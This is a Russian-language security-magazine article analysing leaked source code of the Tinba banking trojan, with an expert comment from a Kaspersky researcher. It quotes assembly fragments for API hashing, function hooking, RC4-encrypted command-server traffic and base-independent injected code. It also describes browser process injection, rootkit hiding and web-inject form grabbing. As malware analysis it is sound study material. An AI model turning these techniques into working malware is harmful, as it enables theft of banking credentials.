Содержание статьи
Этот троян запросто мог бы затеряться среди тысяч своих собратьев по ремеслу, если бы не одно «но». Согласись, в нынешнем мире гигабайт, гигагерц и сотен тысяч строк кода не каждый день можно встретить полноценную банковскую малварь размером чуть меньше двадцати килобайт, да и к тому же полностью написанную на асме.
Как все начиналось
Все началось два года назад, когда антивирусные компании стали наперебой рапортовать о поимке очередного зловреда, который обладал полноценным функционалом по отъему наличности у пользователей различных систем интернет-банкинга и при этом умещался в 19 968 байт кода.
Пару месяцев назад интерес к этому троянцу вернулся из-за утечки исходных кодов этого зловреда на просторы интернета. При этом некоторые из антивирусных экспертов начали предрекать появление многочисленных клонов трояна, как это было после утечки в паблик исходников Zeus или Carber.
Мы решили не оставаться в стороне и провести небольшой анализ исходников Trojan.Tinba, чтобы узнать, есть ли в них что-нибудь интересное для мечтающего об оптимизации своего кода хакера.
Поиск нужных API-функций
Весь основной функционал Trojan.Tinba реализован во внедряемом в другие процессы коде, и поэтому первое, что должен сделать трой, — это найти адреса всех нужных для своей работы API-функций. В данном случае используется поиск адреса API-функции по ее имени в таблице экспорта нужной библиотеки (трой использует API из kernel32.dll, ntdll.dll, ws2_32.dll, wininet.dll и nspr4.dll), при этом, чтобы не хранить имена самих функций в теле, от имени каждой функции берется хеш и уже по этому хешу ищутся нужные функции. Это, во-первых, позволяет не светить имена функций в коде троя, а во-вторых, существенно уменьшает объем кода, поскольку таблица хешей занимает меньше места, чем таблица имен API-функций.
Поиск функций начинается с библиотеки kernel32.dll (оно и понятно, редко какой процесс обходится без ее загрузки). Для начала трою необходимо найти так называемый адрес базы kernel32.dll (начальный адрес того места, куда эта библиотека загружена). Из всех известных способов нахождения адреса базы kernel32.dll авторы этой малвари выбрали один из самых эффективных с точки зрения быстродействия и размера кода — получение этого адреса из структуры PEB LDR DATA, которая находится в Process Environment Block (PEB):
;получение указателя на PEB
mov esi, [fs:30h]
mov esi, [esi+0Ch]
;получение указателя на PEB _ LDR _ DATA
mov esi, [esi+1Ch]
;поиск адреса kernel32.dll по наличию
;символов «32» в имени загруженного модуля
@@: mov ecx, [esi+8h]
mov edi, [esi+20h]
mov esi, [esi]
;0320033 — это символы «32» в юникоде
cmp dword ptr [edi+0Ch], 0320033h
jne @B
После того как адрес нахождения kernel32.dll найден, в таблице экспорта этого модуля ищутся нужные функции и их адреса записываются в ту же самую таблицу хешей, в специально отведенные для этого места.
Адрес загрузки оставшихся библиотек определяется уже с помощью API GetModuleHandle, поскольку адрес этой функции был найден ранее:
;адрес базы ntdll.dll
invokx _GetModuleHandleA[ebx], "ntdll"
...
...
;адрес базы ws_2_32.dll
invokx _GetModuleHandleA[ebx], "ws2_32"
...
Далее так же, как и в первом случае, в таблицах экспорта этих модулей ищутся адреса нужных функций. Из kernel32.dll трой использует 28 API-функций, из ntdll.dll — три функции, а из ws_2_32.dll — восемь.
Для вычисления хеша применена «авторская методика» размером всего 25 байт (в отличие от громоздких и ресурсоемких CRC-32 и прочих стандартных алгоритмов):
;адрес начала таблицы экспорта
mov edi, lpDllBaseAddr
...
...
;подсчет хеша
xor edx, edx
@@: mov eax, 7
mul edx
mov edx, eax
movzx eax, byte ptr [edi]
add edx, eax
inc edi
;проверка конца строки с именем API
cmp byte ptr [edi], 0
jnz @B
...
Реализация перехвата API-функций
Редко какая малварь обходится без перехвата API’шек, и Trojan.Tinba не исключение. Во-первых, для того чтобы осуществлять инжект кода в HTTP-трафик для подмены содержимого веб-страниц или перехват нужных данных в этом трафике (например, введенных пользователем паролей или номеров кредиток), необходимо изменить ход выполнения функций, ответственных за передачу и прием данных из Сети для различных браузеров (трой «поддерживает» Internet Explorer, Mozilla Firefox и Chrome). Во-вторых, для скрытия своего присутствия ему необходимо также слегка корректировать ход выполнения некоторых функций.
В данном случае перехват осуществляется в юзермодном режиме довольно распространенным способом — путем перезаписи первых пяти байт перехватываемой функции командой JMP (опкод — 0E9h) с адресом, по которому лежит код перехватчика функции, или, по-другому, путем сплайсинга. При этом авторы троя не стали надеяться на программистов из Microsoft, которые обещают ставить в начало каждой API-функции пятибайтовый пролог (0x88, 0xff, 0x55, 0x88, 0xec), а реализовали корректную перезапись начала перехватываемой функции с использованием дизассемблера длин инструкций, в качестве которого используется чуток допиленный Catchy32 (по большому счету допиленный образец отличается тем, что таблица опкодов и сам движок были слиты в один файл, в то время как в оригинале это два разных файла).
Catchy32 отличается простотой в использовании и совсем небольшим объемом кода (всего 580 байт). Достаточно в регистр ESI положить указатель на нужную инструкцию и в регистре EAX получим искомую длину этой инструкции. Вот как это реализовано в нашем герое:
...
;вызываем Catchy32
@@: mov eax, ebx
add eax, c_Catchy
call eax
...
...
;сохраняем код текущей инструкции
add esi, eax
;сохраняем длину текущей инструкции
add ecx, eax
;если длина инструкции больше или
;равна 5, идем дальше
cmp ecx, 5
jb @B
...
Перед перехватом функции изменяются атрибуты первых 32 байт кода этой функции на PAGE _ READWRITE с помощью API-функции VirtualProtect, далее выделяется область памяти для хранения нужного количества начальных байт перехватываемой функции, эти байты туда сохраняются. После них пишется переход на продолжение оригинальной функции, а первые пять байт заменяются на команду JMP с адресом.
Обмен с командным сервером
Для связи со своим командным сервером Trojan.Tinba использует Winsock API, при этом весь трафик подвергается шифрованию с помощью алгоритма потокового шифрования RC4.
Суть этого алгоритма заключается в объединении последовательности передаваемых данных с ключевой последовательностью путем суммирования по модулю 2 (операция XOR). Расшифровка производится с помощью той же операции XOR, применяемой к зашифрованной и ключевой последовательностям. Реализовано это вот таким образом (вся функция шифрования уместилась всего в 46 байт):
;ключевая последовательность
mov edi, lpKeyTable
;данные, подлежащие шифрованию
mov esi, lpData
...
...
@@: inc bl
...
...
mov cl, [edi + ecx]
;XOR’им поток данных с ключевой последовательностью
xor [esi], cl
inc esi
dec nData
jnz @B
Перед началом работы производится инициализация ключевой последовательности на основе строковой константы, жестко заданной в теле троянца. Таким же образом прописаны и другие параметры для инициализации (адрес командного сервера, который может быть записан либо в виде IP, либо в виде строки с URL, наименование ресурса, идентификационные данные).
Конечно, открыто держать в коде все это богатство не самое лучшее решение, но, видимо, авторы трояна решили минимизировать размер и не городить какой-нибудь алгоритм динамической генерации адреса командного сервера или шифрования этих строк (хотя простой XOR много места бы не занял и хотя бы минимально скрыл палевные участки от невооруженного взгляда).
Непосредственно сам обмен данными реализован стандартными API-функциями из ws2_32.dll:
;если адрес задан в виде IP
invokx _inet_addr[ebx], &szHostName[ebx]
jmpns eax, @F
;если адрес задан в виде строки с URL
invokx _gethostbyname[ebx], &szHostName[ebx]
...
...
;инициализация сокета
@@: mov clntSrvc.sin_addr, eax
mov clntSrvc.sin_port, 5000h
mov clntSrvc.sin_family, AF_INET
invokx _socket[ebx], AF_INET, SOCK_STREAM, 0
;соединение с сокетом
invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc
...
...
;передача данных
invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0
...
...
;прием данных
invokx _recv[ebx], hSocket, &ReqBuff, 320, 0
...
Внедрение кода
Основное свойство внедряемого кода — это базонезависимость, поэтому необходимым его атрибутом является вычисление так называемого дельта-смещения, которое используется для коррекции адресов переменных и вызовов функций.
Если внимательно просмотреть весь код, то можно увидеть, что в самом начале присутствует строка GetBaseDelta ebx, а все вызовы API делаются таким образом: invokx <имя API-функции> [ebx], <параметры вызова API>.
Так вот, GetBaseDelta и invokx — это макросы, заранее определенные в коде. Первый, как видно из названия, производит вычисление дельта-смещения и кладет результат в регистр ebx (кстати говоря, наличие такого кода в программе некоторыми аверами трактуется как один из признаков вредоносности):
GetBaseDelta macro reg
local @delta
call @delta
@delta:
pop reg
sub reg, @delta
endm
Второй макрос вызывает API-функцию с учетом содержимого регистра ebx (то есть с учетом того самого смещения).
Внедрение кода производится в процессы с именами firefox.exe, chrome.exe, iexplore.exe и реализовано проверенным и широко известным способом. Первым делом при содействии API RtlAdjustPrivilege троян наделяется привилегией SE DEBUG PRIVILEGE, потом с помощью CreateToolhelp32Snapshot, Process32First и Process32Next ищется процесс с нужным именем, и далее запускается последовательность OpenProcess, WriteProcessMemory и CreateRemoteThread.
Руткит-функционал троя
Свое присутствие в системе трой маскирует, скрывая файл, запущенный процесс и ключ автозапуска в реестре. Скрытие файла производится путем перехвата API-функций FindFirstFile, FindNextFile и ZwQueryDirectoryFile. Работающий процесс троя маскируется за счет перехвата ZwQuerySystemInformation. Ключ автозапуска прячется перехватом RegEnumValue и ZwEnumerateValueKey.
Поскольку ZwQuerySystemInformation позволяет получать много различной информации о системе, то предварительно проверяется параметр вызова этой функции SYSTEM INFORMATION CLASS. Если он имеет значение SystemProcessInformation, то происходит фильтрация возвращаемых значений, в противном случае управление передается сразу на оригинальную функцию.
Веб-инжект и форм-граббинг
Trojan.Tinba реализует такую же схему веб-инжектов, как и у многих его собратьев по ремеслу (Carber, Zeus, Gataka и иже с ними). Сами веб-инжекты задаются в конфигурационном файле INJECTS.TXT. Структура этого файла аналогична структуре конфига для Carber или Zeus. В этом файле с помощью определенных команд указывается адрес страницы, вид инжекта (при POST-запросе, при GET-запросе или извлечение данных и запись их в лог), фильтры, по которым производится поиск текста на странице для инжекта, и сами внедряемые данные.
Для Internet Explorer веб-инжект реализуется посредством перехвата функций HttpQueryInfoA, HttpSendRequest, HttpSendRequestEx, HttpEndRequest, InternetCloseHandle, InternetQueryDataAvailable, InternetReadFile, InternetReadFileEx и InternetWriteFile из wininet.dll, а для Firefox перехватываются функции PR Read, PR Write и PR _ Close из nspr4.dll. Все эти функции (и для Internet Explorer, и для Firefox) вызываются через таблицу экспорта соответствующего модуля, поэтому поиск и перехват нужных API трудностей не вызывает. Имена этих функций также прописаны в таблице хешей, а перехват реализуется уже описанным ранее способом.
В случае с Chrome перехват осложняется тем, что перехватываемые функции не экспортируются из chrome.dll. Поэтому их поиск осуществляется по сигнатурам, а сам перехват делается так же, как и для других браузеров. Всего из chrome.dll перехватываются три функции.
Также стоит отметить, что инжекты, реализованные описанным образом, позволяют перехватывать и изменять не только HTTP-трафик, но и HTTPS, что для настоящего банковского троя крайне необходимо.
Заключение
Несмотря на то что ничего нового с точки зрения реализации функционала Trojan.Tinba в мир вирусописательства не принес (широко распространенный и ставший уже классическим способ внедрения кода, сплайсинг API-функций в юзермоде, веб-инжекты в стиле других собратьев по ремеслу), все же стоит отдать должное неведомым авторам этой вредоносной программы. Облачить все это в минимум ассемблерного кода под силу далеко не каждому.
Комментарий эксперта
Вячеслав Закоржевский, Head of Vulnerability Research Group, Kaspersky Lab
В настоящее время малварь, написанная на ассемблере, очень большая редкость. Если еще лет 7–10 назад регулярно встречались такие сэмплы, например тот же небезызвестный Pinch, то сейчас большинство «коммерческого» вредоносного ПО пишется на C++. Оба факта легко объясняются: функционал троянов идет вперед огромными шагами, соответственно, нужен язык, позволяющий эффективно создавать и поддерживать такие программы с наименьшими усилиями. Ассемблер под это, очевидно, не подходит :). Если C++ использовался создателями Зевса и Карберпа, то вредоносы попроще — блокеры, шифровальщики и прочие — чаще пишутся на C#, VB. Эти языки доступны даже начинающим «программистам» и позволяют очень быстро создать троян без какого-то продвинутого функционала. Хотя надо сказать, что народ совсем обленился в последнее время и вообще уже не программирует. Мы встречаем множество «бэкдоров», построенных на доступном легальном ПО, таком как RAdmin. А устанавливается и распространяется оно с помощью самораспаковывающихся архивов, инсталляторов и батников. То есть скиллы, необходимые для создания такой малвари, необходимы минимальные. Но оно все равно работает и, возможно, окупается.
INFO
В исходниках есть несколько функций работы со строками (преобразование из одного вида в другой, поиск подстроки в строке, поиск по маске и так далее). Эти функции можно применить в какой-нибудь более полезной для общества программе :).
WWW
Исходники дизассемблера длин Catchy32 можно скачать здесь: vxheavens.com/dl/ple/catchy32.zip
Повесть о похождениях Trojan.Win32.Tinba в Турции от Trend Micro: www.csis.dk/downloads/Tinba_White_Paper.pdf
WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.